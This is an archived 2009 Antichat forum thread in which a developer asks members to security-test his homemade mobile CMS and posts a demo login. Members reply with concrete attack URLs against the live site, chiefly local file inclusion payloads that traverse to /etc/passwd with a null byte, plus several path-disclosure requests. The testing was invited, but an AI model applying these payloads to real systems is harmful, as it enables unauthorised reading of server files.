Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Проверка на уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=110)
-   -   X-Engine Mobile CMS (https://forum.antichat.xyz/showthread.php?t=118316)

Engine.CMS 29.04.2009 12:58

X-Engine Mobile CMS
 
Здраствуйте, прошу протестировать полностью самописную cms для мобильных устройств.
http://x-engine.net

Всем участвующим огромное спасибо.

Rebz 29.04.2009 19:05

только тестовый акк неплохо было бы дать
BlackSun: есть замечательный сервис asdasd.ru :)

Хмм..после запроса http://x-engine.net/?Lang=eng' , пишется ошибка "No one language file" и сайт перестает пахать весь.

http://x-engine.net/content/?img=../ - раскрытие путей

brain[pillow] 29.04.2009 19:11

Локальный инклуд (не работает только из-за мэджиков и openbase_dir):
http://x-engine.net/?Lang=../../../../../../../../etc/passwd%00

Раск4рытие пути:
http://x-engine.net/guest/?next[]=7&

Тут то ли читалка, то ли листалка - хз, не пашет опять-таки из-за серверных настроек:
http://x-engine.net/users/?Theme=../../../../../../../../../../../etc/passwd%00

Engine.CMS 29.04.2009 19:18

Логин: demo
Пароль: fXtooL

Engine.CMS 29.04.2009 19:37

По ходу написания модулей и после размещения их на сервере буду отписываться. Протестируйте доступ в админку адрес админки xpanel

eLWAux 30.04.2009 15:35

добавь обработку is_array

http://x-engine.net/?SYSTEM&m[]=O_o
http://x-engine.net/content/?img=xaxa
http://x-engine.net/content/realton/?

Engine.CMS 30.04.2009 17:18

да спасибо, я понял сегодня обновлю

Engine.CMS 07.05.2009 14:07

Проект переехал на другой домен: http://waplabs.ru, все тестирования будут проводится на нем, завтра-послезавтра выложу еще 5 модулей для тестирования.

mr.The 14.05.2009 23:47

_ttp://waplabs.ru/news/1/?next[]=5&


Время: 11:37